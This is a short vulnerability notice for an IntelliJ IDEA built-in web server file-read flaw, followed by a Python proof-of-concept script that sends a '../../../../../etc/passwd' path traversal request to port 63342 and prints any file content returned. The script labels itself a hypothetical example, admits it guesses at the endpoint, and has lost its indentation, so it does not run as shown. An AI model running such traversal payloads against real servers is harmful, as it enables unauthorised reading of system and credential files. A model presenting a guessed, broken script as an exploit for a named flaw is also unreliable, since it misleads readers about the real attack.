In JetBrains IntelliJ IDEA before 2024.3.7.1,
2025.1.7.1,
2025.2.6.2,
2025.3.4.1,
2026.1.1 reading arbitrary local files was possible via built-in web server
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-41882 (Hypothetical Example)
import requests
def check_vulnerability(target_url):
# Payload attempting to read /etc/passwd (Linux) or C:\Windows\win.ini (Windows)
# Adjust the path traversal sequence based on the actual vulnerability behavior
traversal_payload = "../../../../../etc/passwd"
try:
# Construct the full malicious URL
# Assuming the built-in server runs on a specific port or endpoint
exploit_url = f"{target_url}/{traversal_payload}"
response = requests.get(exploit_url, timeout=5)
if response.status_code == 200:
if "root:" in response.text:
print(f"[+] Vulnerability confirmed! File content retrieved:")
print(response.text[:200])
else:
print(f"[?] Request successful but file content pattern not found.")
else:
print(f"[-] Exploit failed. HTTP Status: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] Error connecting to target: {e}")
if __name__ == "__main__":
# Replace with the actual target URL of the built-in web server
target = "http://127.0.0.1:63342"
check_vulnerability(target)